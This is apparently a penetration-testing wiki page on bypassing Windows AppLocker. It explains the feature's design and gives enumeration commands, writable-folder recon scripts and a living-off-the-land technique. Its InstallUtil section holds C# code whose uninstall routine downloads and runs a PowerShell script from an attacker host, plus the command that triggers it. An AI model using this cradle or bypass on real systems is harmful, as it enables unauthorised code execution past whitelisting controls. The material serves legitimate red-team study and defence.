AppLocker Bypass
Theory
AppLocker is a security feature introduced in Windows 7 Enterprise and later versions, providing a robust application whitelisting solution to control executable, script, and installer file execution. It aims to replace older Software Restriction Policies (SRP) by adding enhanced control and a kernel-level enforcement mechanism.
AppLocker consists of two core components:
The kernel-mode driver (
APPID.SYS):This kernel-level driver provides the foundational enforcement for AppLocker policies by handling process creation blocking through a Process Notification Callback (PsSetCreateProcessNotifyRoutineEx). This callback intercepts attempts to execute files and forwards information to AppLocker policies.
Additionally,
APPID.SYSassists in applying broader application control functions, distinguishing it from SRP, which operates entirely in user mode.
The user-mode service (
AppIDSvc):The
AppIDSvcservice primarily functions as a policy manager, responsible for administrating the whitelist ruleset and performing tasks that are impractical to handle at the kernel level, such as comprehensive code signature verification.The
AppIDSvcinteracts with theAPPID.SYSdriver via Remote Procedure Calls (RPC) to verify digital signatures and validate applications against AppLocker policies.
Practice
This section delves into practical bypass methods, exploring weaknesses in AppLocker’s implementation and configuration. It covers techniques ranging from exploiting policy misconfigurations, abusing trusted applications (living-off-the-land binaries, or LOLBins), manipulating file path rules, and leveraging signature-based bypasses.
Enumeration
Enumeration is the crucial initial step, providing insight into the specific rules, policies, and whitelisting configurations that AppLocker enforces. By gathering this information, it becomes possible to determine which executables, paths, scripts, and DLLs are allowed or restricted, enabling a strategic approach to potential bypass techniques.
The following commands can be used to check whether any AppLocker rules are being enforced.
Get-AppLockerPolicy -Effective -Xml
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2 -Recurse
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsTo determine whether a specific file could be executed without actually running it, we can use the Test-AppLockerPolicy PowerShell cmdlet as follows:
Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Path\To\Test\procexp.exe -User UserToTestWritable and Executable Whitelisted Folders
The default rules for AppLocker automatically whitelist all executables and scripts located in the following directories: C:\Program Files, C:\Program Files (x86), and C:\Windows.
If we discover a folder within these directories that is both writable and executable, we can exploit it to bypass AppLocker policies.
The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803) and may be whitelisted by AppLocker.
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\SystemManual Recon
You can recursively check for writable permissions on the C:\Windows folder using Sysinternals' AccessChk:
# w: find writable dir
# u: suppress errors
# s: recursive
accesschk.exe "<USERNAME>" C:\Windows -wusIf a folder is writable (e.g., C:\Windows\Tasks), you can verify execution permissions using icacls:
# Example
icacls.exe C:\Windows\TasksAutomated Recon
The following PowerShell script automates the process of identifying writable and executable folders:
$tools = "C:\SysinternalsSuite"
C:\SysinternalsSuite\accesschk.exe "<USERNAME>" C:\Windows -wus -accepteula | out-file -FilePath C:/users/<USER>/Desktop/permissions.txt
foreach($line in Get-Content C:/users/<USER>/Desktop/permissions.txt) {
if($line.StartsWith("RW") -or $line.StartsWith("W"))
{
$line.Substring(3) | out-file -FilePath C:/users/<USER>/Desktop/files.txt -Append
}
}
foreach($file_path in Get-Content C:/users/<USER>/Desktop/files.txt){
if(Test-Path -Path $file_path -PathType Container)
{
cd $tools
icacls.exe $file_path | out-file -FilePath C:/users/<USER>/Desktop/folder-permissions.txt -Append
}
}Or this script will do the same thing, enumerating where standard users can both write and execute, without relying on the accesschk.exe binary.
Get-ChildItem $env:windir -Directory -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
$dir = $_;
$ErrorActionPreference = "SilentlyContinue";
(Get-Acl $dir.FullName).Access | ForEach-Object {
if ($_.AccessControlType -eq "Allow") {
if ($_.IdentityReference.Value -eq "NT AUTHORITY\Authenticated Users" -or $_.IdentityReference.Value -eq "BUILTIN\Users") {
if (($_.FileSystemRights -like "*Write*" -or $_.FileSystemRights -like "*Create*") -and $_.FileSystemRights -like "*Execute*") {
Write-Host ($dir.FullName + ": " + $_.IdentityReference.Value + " (" + $_.FileSystemRights + ")");
}
}
}
};
}Alternate Data Stream
An Alternate Data Stream (ADS) is a feature of the NTFS file system that allows files to store additional data streams as metadata. This functionality can be exploited to hide or append binary data (like scripts or executables) to existing files without affecting their primary content. We can leverage this to bypass AppLocker or other application control mechanisms by hiding and executing malicious scripts or binaries in trusted locations.
Like for folders, we may find a file in a trusted location that is both writable and executable as follows:
Manual Recon
You can recursively check for writable permissions on the C:\Windows folder using Sysinternals' AccessChk:
# w: writable
# u: suppress errors
# s: recursive
accesschk.exe "<USERNAME>" C:\Windows -wusIf a file is writable (e.g. C:\Program Files (x86)\App\Random_log.log), you can verify execution permissions using icacls:
# Example
icacls.exe "C:\Program Files (x86)\App\Random_log.log"Automated Recon
The following PowerShell script automates the process of identifying writable and executable files:
$tools = "C:\SysinternalsSuite"
C:\SysinternalsSuite\accesschk.exe "<USERNAME>" C:\Windows -wus -accepteula | out-file -FilePath C:/users/<USER>/Desktop/permissions.txt
foreach($line in Get-Content C:/users/<USER>/Desktop/permissions.txt) {
if($line.StartsWith("RW") -or $line.StartsWith("W"))
{
$line.Substring(3) | out-file -FilePath C:/users/<USER>/Desktop/files.txt -Append
}
}
foreach($file_path in Get-Content C:/users/<USER>/Desktop/files.txt){
if(Test-Path -Path $file_path -PathType Container)
{
cd $tools
icacls.exe $file_path | out-file -FilePath C:/users/<USER>/Desktop/folder-permissions.txt -Append
}
}Living Off The Land Binaries
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies. We can abuse it to execute arbitrary C# code and bypass AppLocker.
First, compile the following code into Visual Studio.
// code from https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/applocker-bypass
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace BypassCLM
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Welcome !");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKING-IP>/run.txt')";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}We can then execute code and bypass application whitelisting as follows:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Users\v4resk\Bypass.exeBypass Using PowerShell
When AppLocker (or Windows Defender Application Control, WDAC) enforces script whitelisting rules, ConstrainedLanguage Mode (CLM) is automatically enabled in PowerShell. This security feature, introduced by Microsoft in PowerShell version 3.0, is designed to restrict the capabilities of PowerShell scripts and reduce the risk of abuse by attackers.
🛠️PowerShell Constrained Language Mode (CLM) BypassThird Party Scripting Interpreter
AppLocker enforces rules only against native Windows executable file types, such as .exe, .dll, .bat, .cmd, .vbs, and .ps1. However, if third-party scripting engines like Python, Perl, or Ruby are installed on the system, they can serve as unexpected vectors to bypass application whitelisting with minimal effort.
Resources
Last updated
Was this helpful?